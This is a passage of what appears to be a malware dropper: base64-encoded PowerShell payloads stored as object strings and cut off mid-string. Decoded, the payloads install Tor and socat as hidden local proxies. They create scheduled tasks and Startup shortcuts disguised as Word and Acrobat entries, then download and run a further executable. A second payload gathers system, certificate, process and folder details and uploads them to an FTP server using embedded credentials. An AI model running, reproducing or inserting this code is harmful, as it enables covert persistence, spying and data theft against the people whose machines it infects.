"ZkFYRncoKS55WEtWRE5sTnBsVnpyYUYoIiVDRVJUJSIpOwp9CnFXeWRvb3hzZmN1WA==",
  18. DYiPWoFes: "JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s9MTsKJFNIX1RZUEVfVEFTS19TQ0hFRFVMRVI9MjsKJHNjaGVkdWxlclR5cGU9JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s7CmZ1bmN0aW9uIG1Xd1QKewpwYXJhbShbc3RyaW5nXSR6aXBmaWxlLCBbc3RyaW5nXSRkZXN0aW5h" + "dGlvbik7CiQ3eiA9IEpvaW4tUGF0aCAkZW52OkFMTFVTRVJTUFJPRklMRSAnN3phLmV4ZSc7CmlmICgtTk9UIChUZXN0LVBhdGggJDd6KSl7ClRyeQp7CihOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8vY2hvY29s" + "YXRleS5vcmcvN3phLmV4ZScsJDd6KTsKfQpDYXRjaHt9Cn0KaWYgKCQoVHJ5IHsgVGVzdC1QYXRoICQ3ei50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7ClN0YXJ0LVByb2Nlc3MgIiQ3eiIgLUFyZ3VtZW50TGlzdCAieCAtb2AiJGRlc3RpbmF0aW9uYCIgLXkg" + "YCIkemlwZmlsZWAiIiAtV2FpdCAtTm9OZXdXaW5kb3cKfQplbHNlewokc2hlbGwgPSBuZXctb2JqZWN0IC1jb20gc2hlbGwuYXBwbGljYXRpb247CiR6aXAgPSAkc2hlbGwuTmFtZVNwYWNlKCR6aXBmaWxlKTsKZm9yZWFjaCgkaXRlbSBpbiAkemlwLml0ZW1zKCkp" + "CnsKJHNoZWxsLk5hbWVzcGFjZSgkZGVzdGluYXRpb24pLmNvcHloZXJlKCRpdGVtKTsKfQp9Cn0KCmZ1bmN0aW9uIEFkZC1TaG9ydGN1dHsKICAgIHBhcmFtKFtzdHJpbmddJHRhcmdldF9wYXRoLCBbc3RyaW5nXSRkZXN0X3BhdGgsIFtzdHJpbmddJHdvcmtfcGF0" + "aCwgW3N0cmluZ10kYXJndW1lbnRzPSIiKTsKICAgIAogICAgJF9wYXRoPVNwbGl0LVBhdGggJGRlc3RfcGF0aDsKICAgIGlmICgtTm90IChUZXN0LVBhdGggJF9wYXRoKSl7CiAgICAgICAgbWtkaXIgLUZvcmNlICRfcGF0aDsKICAgIH0KICAgIGlmICgtTm90IChU" + "ZXN0LVBhdGggJHRhcmdldF9wYXRoKSl7CiAgICAgICAgV3JpdGUtT3V0cHV0ICJDYW4ndCBhZGQgc2hvcnRjdXQuIFRhcmdldCBwYXRoICckdGFyZ2V0X3BhdGgnIG5vdCBmb3VuZC4iOwogICAgICAgIHJldHVybjsKICAgIH0KICAgIGlmICgoVGVzdC1QYXRoICRk" + "ZXN0X3BhdGgpKXsKICAgICAgICBXcml0ZS1PdXRwdXQgIkNhbid0IGFkZCBzaG9ydGN1dC4gRGVzdGluYXRpb24gcGF0aCAnJGRlc3RfcGF0aCcgZXhpc3QuIjsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgJF9zaGVsbCA9IE5ldy1PYmplY3QgLUNvbU9iamVj" + "dCAoIldTY3JpcHQuU2hlbGwiKTsKICAgICRfc2hvcnRjdXQgPSAkX3NoZWxsLkNyZWF0ZVNob3J0Y3V0KCRkZXN0X3BhdGgpOwogICAgJF9zaG9ydGN1dC5UYXJnZXRQYXRoPSR0YXJnZXRfcGF0aDsKICAgIGlmKC1Ob3QgW1N0cmluZ106OklzTnVsbE9yRW1wdHko" + "JGFyZ3VtZW50cykpewogICAgICAgICRfc2hvcnRjdXQuQXJndW1lbnRzPSRhcmd1bWVudHM7CiAgICB9CiAgICAkX3Nob3J0Y3V0LldvcmtpbmdEaXJlY3Rvcnk9JHdvcmtfcGF0aDsKICAgICRfc2hvcnRjdXQuU2F2ZSgpOwp9CgpmdW5jdGlvbiBCYXNlNjRUb0Zp" + "bGUKewpwYXJhbShbc3RyaW5nXSRmaWxlLCBbc3RyaW5nXSRzdHJpbmcpOwokYnl0ZXM9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkc3RyaW5nKTsKI3NldC1jb250ZW50IC1lbmNvZGluZyBieXRlICRmaWxlIC12YWx1ZSAkYnl0ZXM7CltJTy5G" + "aWxlXTo6V3JpdGVBbGxCeXRlcygkZmlsZSwgJGJ5dGVzKTsKfQpmdW5jdGlvbiBSYW5kb21TdHJpbmd7CiAgICBwYXJhbShbaW50XSRtaW49NSwgW2ludF0kbWF4PTE1KTsKICAgIHJldHVybiAoLWpvaW4gKCg0OC4uNTcpKyg2NS4uOTApKyg5Ny4uMTIyKSB8IEdl" + "dC1SYW5kb20gLUNvdW50IChHZXQtUmFuZG9tIC1taW5pbXVtICRtaW4gLW1heGltdW0gJG1heCkgfCAlIHtbY2hhcl0kX30pKTsKfQpmdW5jdGlvbiBJbml0U2NoZWR1bGxlcnsKICAgIHRyeXsKICAgICAgICBJbXBvcnQtTW9kdWxlIFNjaGVkdWxlZFRhc2tzIC1F" + "cnJvckFjdGlvbiBTdG9wOwogICAgICAgIHJldHVybiAkU0hfVFlQRV9TQ0hFRFVMRURfVEFTSzsKICAgIH1jYXRjaHsKICAgICAgICAkRmlsZT0kZW52OlRlbXArJ1wnKyhSYW5kb21TdHJpbmcpKycuemlwJzsKICAgICAgICAkRGVzdD0kZW52OlRlbXArJ1wnKyhS" + "YW5kb21TdHJpbmcpOwogICAgICAgIHdoaWxlICghKG5uZSAnaHR0cHM6Ly9hcGkubnVnZXQub3JnL3BhY2thZ2VzL3Rhc2tzY2hlZHVsZXIuMi41LjIzLm51cGtnJyAkRmlsZSkpIHt9CiAgICAgICAgaWYgKChUZXN0LVBhdGggJERlc3QpIC1lcSAxKXtSZW1vdmUt" + "SXRlbSAtRm9yY2UgLVJlY3Vyc2UgJERlc3Q7fW1rZGlyICREZXN0IHwgT3V0LU51bGw7CiAgICAgICAgbVd3VCAkRmlsZSAkRGVzdDsKICAgICAgICBSZW1vdmUtSXRlbSAtRm9yY2UgJEZpbGU7CiAgICAgICAgJFRTQXNzZW1ibHk9JERlc3QrJ1xsaWJcbmV0MjBc" + "TWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuZGxsJzsKICAgICAgICAkbG9hZExpYiA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWRGaWxlKCRUU0Fzc2VtYmx5KTsKICAgICAgICByZXR1cm4gJFNIX1RZUEVfVEFTS19TQ0hFRFVMRVI7CiAg" + "ICB9Cn0KZnVuY3Rpb24gRnFDWnZWQUZJV2tDVAp7CnBhcmFtKFtzdHJpbmddJG5hbWUsIFtzdHJpbmddJGNtZCwgW3N0cmluZ10kcGFyYW1zPScnLFtpbnRdJHJlc3RhcnQ9MCxbaW50XSRkZWxheT0wLFtzdHJpbmddJGRpcj0nJyk7CnN3aXRjaCAoJHNjaGVkdWxl" + "clR5cGUpIHsKICAgICRTSF9UWVBFX1NDSEVEVUxFRF9UQVNLIHsKICAgICAgICAkQWN0aW9uID0gTmV3LVNjaGVkdWxlZFRhc2tBY3Rpb24gLUV4ZWN1dGUgJGNtZDsKICAgICAgICBpZigtTm90IFtTdHJpbmddOjpJc051bGxPckVtcHR5KCRwYXJhbXMpKXsKICAg" + "ICAgICAgICAgJEFjdGlvbi5Bcmd1bWVudHM9JHBhcmFtczsKICAgICAgICB9CiAgICAgICAgaWYoLU5vdCBbU3RyaW5nXTo6SXNOdWxsT3JFbXB0eSgkZGlyKSl7CiAgICAgICAgICAgICRBY3Rpb24uV29ya2luZ0RpcmVjdG9yeT0kZGlyOwogICAgICAgIH0KICAg" + "ICAgICAkTG9nb25UcmlnZ2VyID0gTmV3LVNjaGVkdWxlZFRhc2tUcmlnZ2VyIC1BdExvZ09uOwogICAgICAgIHRyeXsKICAgICAgICAgICAgJExvZ29uVHJpZ2dlci5Vc2VySWQ9JGVudjp1c2VybmFtZTsKICAgICAgICB9Y2F0Y2h7CiAgICAgICAgICAgICRMb2dv" + "blRyaWdnZXIuVXNlcj0kZW52OnVzZXJuYW1lOwogICAgICAgIH0KICAgICAgICBpZigtTm90ICRkZWxheSAtZXEgMCl7CiAgICAgICAgICAgICRMb2dvblRyaWdnZXIuRGVsYXk9TmV3LVRpbWVTcGFuIC1TZWNvbmRzICRkZWxheTsKICAgICAgICB9CiAgICAgICAg" + "aWYoJHJlc3RhcnQgLWVxIDEpewogICAgICAgICAgICAkVGltZVRyaWdnZXIgPSBOZXctU2NoZWR1bGVkVGFza1RyaWdnZXIgLU9uY2UgLUF0IDEyYW0gLVJlcGV0aXRpb25JbnRlcnZhbCAoW1N5c3RlbS5UaW1lU3Bhbl06OkZyb21NaW51dGVzKDEpKSAtUmVwZXRp" + "dGlvbkR1cmF0aW9uIChbU3lzdGVtLlRpbWVTcGFuXTo6RnJvbURheXMoMzY1ICogMjApKTsKICAgICAgICB9CiAgICAgICAgJFNldHRpbmdzID0gTmV3LVNjaGVkdWxlZFRhc2tTZXR0aW5nc1NldDsKICAgICAgICAkU2V0dGluZ3MuRGlzYWxsb3dTdGFydElmT25C" + "YXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgJFNldHRpbmdzLlN0b3BJZkdvaW5nT25CYXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgaWYoJHJlc3RhcnQgLWVxIDEpewogICAgICAgICAgICAkVGFzayA9IFJlZ2lzdGVyLVNjaGVkdWxlZFRhc2sgLUFjdGlvbiAk" + "QWN0aW9uIC1UcmlnZ2VyICRMb2dvblRyaWdnZXIsJFRpbWVUcmlnZ2VyIC1TZXR0aW5ncyAkU2V0dGluZ3MgLVRhc2tOYW1lICRuYW1lIC1EZXNjcmlwdGlvbiAoUmFuZG9tU3RyaW5nKTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJFRhc2sgPSBSZWdpc3Rl" + "ci1TY2hlZHVsZWRUYXNrIC1BY3Rpb24gJEFjdGlvbiAtVHJpZ2dlciAkTG9nb25UcmlnZ2VyIC1TZXR0aW5ncyAkU2V0dGluZ3MgLVRhc2tOYW1lICRuYW1lIC1EZXNjcmlwdGlvbiAoUmFuZG9tU3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgU3RhcnQtU2NoZWR1" + "bGVkVGFzayAtSW5wdXRPYmplY3QgJFRhc2s7CiAgICB9OwogICAgRGVmYXVsdCB7CiAgICAgICAgJHRzPU5ldy1PYmplY3QgTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuVGFza1NlcnZpY2U7CiAgICAgICAgJHRkPSR0cy5OZXdUYXNrKCk7CiAgICAgICAg" + "JHRkLlJlZ2lzdHJhdGlvbkluZm8uRGVzY3JpcHRpb24gPSAoUmFuZG9tU3RyaW5nKTsKICAgICAgICAkdGQuU2V0dGluZ3MuRGlzYWxsb3dTdGFydElmT25CYXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgJHRkLlNldHRpbmdzLlN0b3BJZkdvaW5nT25CYXR0ZXJp" + "ZXMgPSAkRmFsc2U7CiAgICAgICAgJHRkLlNldHRpbmdzLk11bHRpcGxlSW5zdGFuY2VzID0gW01pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyLlRhc2tJbnN0YW5jZXNQb2xpY3ldOjpJZ25vcmVOZXc7CiAgICAgICAgJExvZ29uVHJpZ2dlciA9IE5ldy1PYmpl" + "Y3QgTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuTG9nb25UcmlnZ2VyOwogICAgICAgICRMb2dvblRyaWdnZXIuU3RhcnRCb3VuZGFyeT1bU3lzdGVtLkRhdGVUaW1lXTo6Tm93OwogICAgICAgICRMb2dvblRyaWdnZXIuVXNlcklkPSRlbnY6dXNlcm5hbWU7" + "CiAgICAgICAgJExvZ29uVHJpZ2dlci5EZWxheT1bU3lzdGVtLlRpbWVTcGFuXTo6RnJvbVNlY29uZHMoJGRlbGF5KTsKICAgICAgICAkdGQuVHJpZ2dlcnMuQWRkKCRMb2dvblRyaWdnZXIpOwogICAgICAgIGlmKCRyZXN0YXJ0IC1lcSAxKXsKICAgICAgICAkVGlt" + "ZVRyaWdnZXIgPSBOZXctT2JqZWN0IE1pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyLlRpbWVUcmlnZ2VyOwogICAgICAgICRUaW1lVHJpZ2dlci5TdGFydEJvdW5kYXJ5PVtTeXN0ZW0uRGF0ZVRpbWVdOjpOb3c7CiAgICAgICAgJFRpbWVUcmlnZ2VyLlJlcGV0" + "aXRpb24uSW50ZXJ2YWw9W1N5c3RlbS5UaW1lU3Bhbl06OkZyb21NaW51dGVzKDEpOwogICAgICAgICRUaW1lVHJpZ2dlci5SZXBldGl0aW9uLlN0b3BBdER1cmF0aW9uRW5kPSRGYWxzZTsKICAgICAgICAkdGQuVHJpZ2dlcnMuQWRkKCRUaW1lVHJpZ2dlcik7CiAg" + "ICAgICAgfQogICAgICAgICR0c2Y9Ik1pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyIjsKICAgICAgICAkRXhlY0FjdGlvbj1OZXctT2JqZWN0ICIkdHNmLkV4ZWNBY3Rpb24iKCRjbWQsJHBhcmFtcywkZGlyKTsKICAgICAgICAkdGQuQWN0aW9ucy5BZGQoJEV4" + "ZWNBY3Rpb24pOwogICAgICAgICR0YXNrPSR0cy5Sb290Rm9sZGVyLlJlZ2lzdGVyVGFza0RlZmluaXRpb24oJG5hbWUsICR0ZCk7CiAgICAgICAgJHRhc2suUnVuKCk7CiAgICB9Owp9Cn0KZnVuY3Rpb24gbm5lIHsKICAgIHBhcmFtKFtzdHJpbmddJG5oaHJRR0Vw" + "cCwgW3N0cmluZ10kS1pxWmFsWFF6YUdNQlcpOwogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIjsKICAgIFdyaXRlLUhvc3QgKCJEb3dubG9hZCB7MH0gdG8gezF9IiAtZiAoJG5oaHJRR0VwcCwgJEtacVphbFhRemFHTUJXKSk7CiAgICB0cnl7CiAg" + "ICAgICAgW05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9ICJ0bHMxMiwgdGxzMTEsIHRscywgc3NsMyI7CiAgICB9Y2F0Y2h7fQogICAgdHJ5IHsKICAgICAgICBTdGFydC1CaXRzVHJhbnNmZXIgLVNvdXJjZSAkbmhoclFHRXBwIC1E" + "ZXN0aW5hdGlvbiAkS1pxWmFsWFF6YUdNQlc7CiAgICB9CiAgICBjYXRjaCB7CiAgICAgICAgI1dyaXRlLUVycm9yICRfIC1FcnJvckFjdGlvbiBDb250aW51ZTsKICAgICAgICB0cnkgewogICAgICAgICAgICAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVu" + "dCkuRG93bmxvYWRGaWxlKCRuaGhyUUdFcHAsJEtacVphbFhRemFHTUJXKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAjV3JpdGUtRXJyb3IgJF8gLUVycm9yQWN0aW9uIENvbnRpbnVlOwogICAgICAgICAgICBTdGFydC1Qcm9jZXNzICJj" + "bWQuZXhlIiAtQXJndW1lbnRMaXN0ICIvYiAvYyBiaXRzYWRtaW4gL3RyYW5zZmVyIC9kb3dubG9hZCAvcHJpb3JpdHkgSElHSCBgIiRuaGhyUUdFcHBgIiBgIiRLWnFaYWxYUXphR01CV2AiIiAtV2FpdCAtV2luZG93U3R5bGUgSGlkZGVuOwogICAgICAgIH0KICAg" + "IH1maW5hbGx5ewogICAgICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiQ29udGludWUiOwogICAgfQogICAgaWYgKCAkKFRyeSB7IFRlc3QtUGF0aCAkS1pxWmFsWFF6YUdNQlcudHJpbSgpIH0gQ2F0Y2ggeyAkZmFsc2UgfSkpewogICAgICAgIHJldHVybiAk" + "dHJ1ZTsKICAgIH0KICAgIHJldHVybiAkZmFsc2U7Cn0KZnVuY3Rpb24gWmpMQmJWansKJHNjaGVkdWxlclR5cGUgPSBJbml0U2NoZWR1bGxlcjsKJHRmPSRlbnY6VGVtcCsnXCcrKFJhbmRvbVN0cmluZykrJy56aXAnOwokZ0xSbE9aT3N1ZD0kZW52OkFMTFVTRVJT" + "UFJPRklMRSsnXCcrKFJhbmRvbVN0cmluZyk7CiR5WG96aklUUkJ6cFFNPUAoW3N0cmluZ106OkNvbmNhdCgnaHR0cHM6Ly9kaScsJ3N0LnQnLCdvcnByb2plY3Qub3JnLycpLCBbc3RyaW5nXTo6Q29uY2F0KCJodHRwczovL21pcnJvci5vbGRzcWwuY2MvdCIsIm9y" + "L2RpIiwic3QvIiksIFtzdHJpbmddOjpDb25jYXQoImh0dHBzOi8vdG8iLCJybWlycm9yLnRiLWl0Zi10Iiwib3IuZGUvZGkiLCJzdC8iKSk7CmZvcmVhY2ggKCRwS1VERmhoaHZOWnYgaW4gJHlYb3pqSVRSQnpwUU0pIHsKICAgICRtYVY9JHBLVURGaGhodk5adisi" + "dG9yYnJvd3Nlci84LjAuMy90Iisib3Itd2luMzItMC4zLjQuOC56aXAiOwogICAgaWYoKG5uZSAkbWFWICR0ZikpewogICAgICAgIGJyZWFrOwogICAgfQp9CmlmICgoVGVzdC1QYXRoICRnTFJsT1pPc3VkKSAtZXEgMSl7UmVtb3ZlLUl0ZW0gLUZvcmNlIC1SZWN1" + "cnNlICRnTFJsT1pPc3VkO31ta2RpciAkZ0xSbE9aT3N1ZCB8IE91dC1OdWxsOwptV3dUICR0ZiAkZ0xSbE9aT3N1ZDsKUmVtb3ZlLUl0ZW0gLUZvcmNlICR0ZjsKJEhYblE9JGdMUmxPWk9zdWQrIlxUIisib3JcIjsKJE9FbndnYkpFV0plPSJ2YnNjcmlwdDpjbG9z" + "ZShDcmVhdGVPYmplY3QoYCJXU2NyaXB0LlNoZWxsYCIpLlJ1bihgInQiKyJvci5leGVgIiwwLEZhbHNlKSkiOwpGcUNadlZBRklXa0NUIChSYW5kb21TdHJpbmcpICdtc2h0YS5leGUnICRPRW53Z2JKRVdKZSAwIDAgJEhYblE7CgpBZGQtU2hvcnRjdXQgIiQoW1N5" + "c3RlbS5FbnZpcm9ubWVudF06OlN5c3RlbURpcmVjdG9yeSlcbXNodGEuZXhlIiAiJChbU3lzdGVtLkVudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnU3RhcnR1cCcpKVxtc3dvcmQubG5rIiAkdnpma0ZjYXdEYklVU3lhICR0b2F3d3lKbGpDCgokUURPS1NHUm1D" + "Y2tuZz0kZW52OlRlbXArJ1wnKyhSYW5kb21TdHJpbmcpKycuemlwJzsKJE5OSGNGd2lXPShSYW5kb21TdHJpbmcpOwokeXRmT1N3d0FBZ0c9JGdMUmxPWk9zdWQrJ1wnKyROTkhjRndpVysnXCc7Cm5uZSAnaHR0cHM6Ly9naXRodWIuY29tL1N0dWRpb0V0cmFuZ2Uv" + "c29jYXQtd2luZG93cy9hcmNoaXZlLzEuNy4yLjEuemlwJyAkUURPS1NHUm1DY2tuZzsKaWYgKCAkKFRyeSB7IFRlc3QtUGF0aCAkUURPS1NHUm1DY2tuZy50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7CiAgICBtV3dUICRRRE9LU0dSbUNja25nICRnTFJsT1pP" + "c3VkOwogICAgJEJFcXpLaFR4Q2t5PSRnTFJsT1pPc3VkKydcc29jYXQtd2luZG93cy0xLjcuMi4xXCc7CiAgICBSZW5hbWUtSXRlbSAtcGF0aCAkQkVxektoVHhDa3kgLW5ld05hbWUgJE5OSGNGd2lXOwp9ZWxzZXsKICAgIG5uZSAnaHR0cDovL2Jsb2cuZ2VudGls" + "a2l3aS5jb20vZG93bmxvYWRzL3NvY2F0LTEuNy4yLjEuemlwJyAkUURPS1NHUm1DY2tuZzsKICAgIG1Xd1QgJFFET0tTR1JtQ2NrbmcgJHl0Zk9Td3dBQWdHOwp9ClJlbW92ZS1JdGVtIC1Gb3JjZSAkUURPS1NHUm1DY2tuZzsKJHMxY21kPSdzb2NhdCB0Y3A0LUxJ" + "U1RFTjo1MzkwNCxyZXVzZWFkZHIsZm9yayxrZWVwYWxpdmUsYmluZD0xMjcuMC4wLjEgU09DS1M0QToxMjcuMC4wLjE6JURPTUFJTiU6ODAsc29ja3Nwb3J0PTkwNTAnOwokczJjbWQ9J3NvY2F0IHRjcDQtTElTVEVOOjU1ODgscmV1c2VhZGRyLGZvcmssa2VlcGFs" + "aXZlLGJpbmQ9MTI3LjAuMC4xIFNPQ0tTNEE6MTI3LjAuMC4xOiVET01BSU4lOjU1ODgsc29ja3Nwb3J0PTkwNTAnOwokUHd6TmU9InZic2NyaXB0OmNsb3NlKENyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikuUnVuKGAiJHMxY21kYCIsMCxGYWxzZSkpIjsK" + "JGdMdkZTTUQ9InZic2NyaXB0OmNsb3NlKENyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikuUnVuKGAiJHMyY21kYCIsMCxGYWxzZSkpIjsKRnFDWnZWQUZJV2tDVCAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhlJyAkUHd6TmUgMCAwICR5dGZPU3d3QUFnRzsK" + "RnFDWnZWQUZJV2tDVCAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhlJyAkZ0x2RlNNRCAwIDAgJHl0Zk9Td3dBQWdHOwoKQWRkLVNob3J0Y3V0ICIkKFtTeXN0ZW0uRW52aXJvbm1lbnRdOjpTeXN0ZW1EaXJlY3RvcnkpXG1zaHRhLmV4ZSIgIiQoW1N5c3RlbS5FbnZp" + "cm9ubWVudF06OkdldEZvbGRlclBhdGgoJ1N0YXJ0dXAnKSlcYWNyb2JhdC5sbmsiICR5dGZPU3d3QUFnRyAkUHd6TmUKQWRkLVNob3J0Y3V0ICIkKFtTeXN0ZW0uRW52aXJvbm1lbnRdOjpTeXN0ZW1EaXJlY3RvcnkpXG1zaHRhLmV4ZSIgIiQoW1N5c3RlbS5FbnZp" + "cm9ubWVudF06OkdldEZvbGRlclBhdGgoJ1N0YXJ0dXAnKSlcc3luYy5sbmsiICR5dGZPU3d3QUFnRyAkZ0x2RlNNRAoKJGpTZnFZR3llcHlMdldmaT0idmJzYyIrInJpcHQ6Y2xvc2UoQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKS5SdW4oYCJwb3dlcnNo" + "ZWxsLmV4ZSBgImAiYCRGPWAkZW52OlRlbXArJ1xcIisoUmFuZG9tU3RyaW5nKSsiLmV4ZSc7cm0gLUZvcmNlIGAkRjtgJGNsPShOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpO2AkY2wuRG93bmxvYWRGaWxlKCdodHRwOi8vMTI3LjAuMC4xOjU1NTUvIisoUmFuZG9t" + "U3RyaW5nKSsiLmFzcD90cyZpcD0nK2AkY2wuRG93bmxvYWRgIitgIlN0cmluZygnaHR0cDovL2FwaS5pcGlmeS5vcmcvJyksYCRGKTsmIGAkRmAiYCJgIiwwLEZhbHNlKSkiOwpGcUNadlZBRklXa0NUIChSYW5kb21TdHJpbmcpICdtc2h0YS5leGUnICRqU2ZxWUd5" + "ZXB5THZXZmkgMTsKfQpaakxCYlZqOw==",
  19. TwOAY: "JExvZ2ZpbGUgPSAkZW52OlRlbXArIlxcJChnYyBlbnY6Y29tcHV0ZXJuYW1lKS5sb2ciOwoKRnVuY3Rpb24gTG9nV3JpdGUKewogIFBhcmFtIChbc3RyaW5nXSRsb2dzdHJpbmcpCiAgJGR0PUdldC1EYXRlIC1Gb3JtYXQgImRkLk1NLnl5eXkgSEg6bW06c3MiOwog" + "ICRtc2c9W3N0cmluZ106OkZvcm1hdCgiW3swfV06Olt7MX1dIiwkZHQsJGxvZ3N0cmluZyk7CiAgV3JpdGUtSG9zdCAkbXNnOwogIEFkZC1jb250ZW50ICRMb2dmaWxlIC12YWx1ZSAkbXNnOwp9CkZ1bmN0aW9uIFVwbG9hZExvZwp7CiAgJGRlc3QgPSAiZnRwOi8v" + "Y28tai1qcDplc2NvajIwMTNAd3gwNC53YWRheC5uZS5qcC9wdWJsaWNfaHRtbC9sb2dzIjsKICAkd2MgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uTmV0LldlYkNsaWVudDsKICAkd2MuVXBsb2FkRmlsZSgiJGRlc3QvJChnYyBlbnY6Y29tcHV0ZXJuYW1l" + "KS5sb2ciLCAkTG9nZmlsZSk7CiAgUmVtb3ZlLUl0ZW0gLVBhdGggJExvZ2ZpbGU7Cn0KZnVuY3Rpb24gQ2hlY2tJbnN0YWxsKCl7CiAgJHdpbmluZm8gPSAoR2V0LVdtaU9iamVjdCBXaW4zMl9PcGVyYXRpbmdTeXN0ZW0gfCBTZWxlY3QgQ2FwdGlvbiwgU2Vydmlj" + "ZVBhY2tNYWpvclZlcnNpb24sIE9TQXJjaGl0ZWN0dXJlLCBWZXJzaW9uLCBNVUlMYW5ndWFnZXMpOwogICR3aW5pbmZvLk1VSUxhbmd1YWdlcz0kd2luaW5mby5NVUlMYW5ndWFnZXMgLWpvaW4gIiwiOwogIExvZ1dyaXRlKCJPUyBpbmZvOiB7MH0iIC1mICR3aW5p" + "bmZvIC1qb2luICIiKTsKICBpZiAodGVzdC1wYXRoIHZhcmlhYmxlOnBzdmVyc2lvbnRhYmxlKSB7CiAgICAkdmVyc2lvbiA9ICRwc3ZlcnNpb250YWJsZS5wc3ZlcnNpb247CiAgfSBlbHNlIHsKICAgICR2ZXJzaW9uID0gW3ZlcnNpb25dIjEuMC4wLjAiOwogIH0K" + "ICBMb2dXcml0ZSgiUG93ZXJzaGVsbCB2ZXJzaW9uOiB7MH0iIC1mICR2ZXJzaW9uKTsKICB0cnkgewogICAgJHBhYz1HZXQtSXRlbVByb3BlcnR5ICdoa2N1OlxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcSW50ZXJuZXQgU2V0" + "dGluZ3NcJ3xTZWxlY3QgLWV4cGFuZCBBdXRvQ29uZmlnVVJMIC1FcnJvckFjdGlvbiBTdG9wOwogICAgTG9nV3JpdGUoIlBhYyBzZXR0ZWQ6ICckcGFjJyIpOwogIH0KICBjYXRjaCB7CiAgICBMb2dXcml0ZSgiRVJST1I6IFBhYyBub3Qgc2V0dGVkIik7CiAgfQog" + "ICRDZXJ0cyA9IEAoR2V0LUNoaWxkSXRlbSBjZXJ0OlxDdXJyZW50VXNlclxST09UfFdoZXJlLU9iamVjdCB7JF8uU3ViamVjdCAtbGlrZSAiKkNPTU9ETyBSU0EgRXh0ZW5kZWQgVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBIDIqIiAtb3IgJF8uU3ViamVjdCAt" + "bGlrZSAiKkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSoifXxGb3JFYWNoLU9iamVjdCB7InswfSAoezF9KSIgLWYgKCRfLlRodW1icHJpbnQsJF8uTm90QmVmb3JlKX0pOwogIGlmICgtTk9UICRDZXJ0cy5jb3VudCAtZXEgMCl7CiAgICBMb2dXcml0ZSgi" + "Q2VydHMgaW5zdGFsbGVkOiAnezB9JyIgLWYgKCRDZXJ0cyAtam9pbiAiOyAiKSk7CiAgfWVsc2UgewogICAgTG9nV3JpdGUoIkNlcnRzIG5vdCBmb3VuZCIpOwogIH0KICB0cnl7CiAgICAkcHJvYyA9IEdldC1Qcm9jZXNzIHwgV2hlcmUtT2JqZWN0IHskXy5Qcm9j" + "ZXNzTmFtZSAtbGlrZSAidG9yKiIgLW9yICRfLlByb2Nlc3NOYW1lIC1saWtlICJzb2NhdCoifXxTZWxlY3QgLVByb3BlcnR5IEB7IE5hbWU9Ik91dCI7IEV4cHJlc3Npb249eyJJRDp7MH1gbk5hbWU6ezF9YG5QYXRoOnsyfWBuLS0tLS0tLS0tLS0tLSIgLWYgJF8u" + "SWQsJF8uUHJvY2Vzc05hbWUsJF8uUGF0aH19fFNlbGVjdCAtZXhwYW5kIE91dDsKICAgIExvZ1dyaXRlKCJQcm9jY2VzcyBsaXN0OmBuezB9IiAtZiAoJHByb2MgLWpvaW4gImBuIikpOwogIH0KICBjYXRjaCB7CiAgICBMb2dXcml0ZSgiRVJST1I6IENhbid0IGdl" + "dCBwcm9jY2VzcyBsaXN0Iik7CiAgfQogICREZXN0VFA9JGVudjpBTExVU0VSU1BST0ZJTEU7CiAgdHJ5ewogICAgJGRpcnM9ZGlyKCREZXN0VFApIC1FcnJvckFjdGlvbiBTdG9wOwogICAgTG9nV3JpdGUoIkxpc3QgZGlyIFt7MH1dOiB7MX0iIC1mICgkRGVzdFRQ" + "LCAoKCRkaXJzfFNlbGVjdCAtZXhwYW5kIE5hbWUpIC1qb2luICI7ICIpKSk7CiAgICBmb3JlYWNoKCRkaXIgaW4gJGRpcnMpewogICAgICAgIHRyeXsKICAgICAgICAgICAgJHN1YmRpcj1kaXIoJGRpci5GdWxsTmFtZSkgLUVycm9yQWN0aW9uIFN0b3A7CiAgICAg" + "ICAgICAgIExvZ1dyaXRlKCJMaXN0IGRpciBbezB9XTp7MX0iIC1mICgkZGlyLkZ1bGxOYW1lLCAoKCRzdWJkaXJ8U2VsZWN0IC1leHBhbmQgTmFtZSkgLWpvaW4gIjsgIikpKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2h7CiAgICAgICAgICAgIExvZ1dyaXRlKCJF" + 